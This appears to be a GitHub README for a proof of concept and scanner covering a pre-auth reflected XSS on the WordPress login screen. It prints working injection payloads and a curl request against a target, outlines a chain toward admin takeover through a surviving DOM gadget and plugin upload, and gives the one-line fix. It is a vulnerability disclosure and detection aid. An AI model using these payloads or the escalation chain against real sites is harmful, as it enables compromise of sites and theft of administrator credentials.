Skip to content

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 

Repository files navigation

WordPress

XSS2Shell

CVE-2026-64638 · pre-auth reflected XSS on the WordPress login screen

Unauthenticated attacker controls markup in the login error notice, because a username passes strip_tags() as text and comes back out of KSES as a tag. Patched in 7.0.3 and backported down to 5.8.14.

Affected: 5.8 through 7.0.2. Not 4.7, and not only 6.4+. See the technical analysis.


XSS

The space after < is the whole trick. strip_tags() refuses to open a tag when the next byte is whitespace. KSES has no such rule and normalises it back into a tag.

Type it into the username field, any password:

< a href="https://example.com" id="pass1">CLICK ME</a>

Or over curl:

curl -s -X POST http://TARGET/wp-login.php \
  --data-urlencode 'log=< a id="pass1" href="#x">CLICK ME</a>' \
  --data-urlencode 'pwd=x' \
  --data 'wp-submit=Log+In' \
  -b 'wordpress_test_cookie=WP+Cookie+check' \
  | grep -o '<div id="login_error".*</div>'
<div id="login_error" class="notice notice-error"><p><strong>Error:</strong>
The username <strong><a id="pass1" href="#x">CLICK ME</strong> is not registered
on this site. ...

More working payloads:

< a id="pass1" href="#x">z</a>          live anchor, attacker chosen id and href
< img src="/wp-admin/images/w-logo-blue.png" id="pass1">   fires a same origin request
< area id="pass1">                       minimal allowlisted node
< span class="reset-pass-submit">z</span>  class the login JS looks for

Control case, no space, proves the mechanism:

<a id="pass1" href="#x">z</a>            stripped, only "z" survives

What does not work, and this matters:

< script>alert(1)</script>               renders "alert(1)" as text, KSES drops script
< img src=x onerror=alert(1)>            renders <img src="x">, KSES drops onerror

KSES keeps allowlisted elements but strips script and every on* handler. So the primitive is attacker chosen DOM with chosen id / class / href. It is not script execution.


RCE

There is no one liner. The reflected XSS is a single request. Code execution is not.

Path, and every step is a precondition rather than a payload:

1. reflected injection      pre-auth, one request       <- this repo
2. DOM gadget               user-profile.js is enqueued on the default login page,
                            its ready handler fires .trigger('click') on the mere
                            presence of a class, and its ownership guard compares
                            two undefined values
3. authenticated victim     an administrator has to load the crafted URL in a
                            logged in browser. curl cannot do this, curl does not
                            execute JavaScript
4. vendor documented pivot  application password capture, then plugin upload

Steps 1 and 2 are properties of the code and are documented in the analysis. Steps 3 and 4 need a victim and a chain. This repo does not ship one.

The gadget in step 2 survived the patch untouched:

git diff --stat 7.0.2..7.0.3 -- src/js/_enqueues/admin/user-profile.js
# empty

7.0.3 escaped the injection point. It did not fix the gadget.


Detector

libfree.py checks whether an instance still reflects the probe. One POST, benign marker string, nothing executed, nothing written.

python3 libfree.py -u https://example.com
python3 libfree.py -f targets.txt -t 5 -o results.csv
python3 libfree.py -f targets.txt --quiet        # print vulnerable hosts only
python3 libfree.py -u https://internal.lan -k    # skip TLS verification
    TARGET                                    STATUS          VERSION    NOTE
  ----------------------------------------------------------------------------------
  ! http://127.0.0.1:8081                     VULNERABLE      7.0.2      probe reflected as live markup
  + http://127.0.0.1:8082                     PATCHED         7.0.2      probe reflected escaped
  . http://127.0.0.1:9999                     REFUSED         -          nothing listening on that port
  ~ https://127.0.0.1:8081                    TLS ERROR       -          handshake failed: RECORD_LAYER_FAILURE
  . http://127.0.0.1:8090                     LOGIN DISABLED  -          HTTP 404, wp-login.php not exposed
  . http://does-not-resolve-xyz.invalid       NO DNS          -          hostname does not resolve
  . http://127.0.0.1:8081/nonexistent-subdir  NOT WORDPRESS   -          HTTP 200, no WordPress login form

  7 checked   1 vulnerable   1 patched   5 not determined
  not determined: 1 login disabled, 1 no dns, 1 not wordpress, 1 refused, 1 tls error

It probes rather than fingerprints. The first two hosts both report 7.0.2 and only one is patched, so a version check would have called both vulnerable. That case is common on hosts that backport without bumping the banner.

A target it could not reach is never reported as safe. Everything that is not a conclusive VULNERABLE or PATCHED lands in not determined, with the reason:

status meaning
NO DNS hostname does not resolve
REFUSED nothing listening
TIMEOUT no response in time, raise --timeout
TLS ERROR certificate or handshake problem, try -k
BLOCKED 401 / 403 / 406 / 429, WAF or rate limit in front
LOGIN DISABLED 404, wp-login.php not exposed
NOT WORDPRESS responded, but no login form
INCONCLUSIVE login flow customised, check by hand

Exit codes: 0 nothing vulnerable, 1 at least one vulnerable, 2 bad input.

Only scan hosts you own or are authorised to test.


Fix

Update to 7.0.3, or the patched release on your branch: 6.9.6, 6.8.7, 6.7.6, 6.6.6, 6.5.9, 6.4.9, 6.3.9, 6.2.10, 6.1.11, 6.0.13, 5.9.14, 5.8.14.

The fix is one line in wp-includes/user.php:

-    $username
+    esc_html( $username )

References

About

xss2shell poc and detector

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages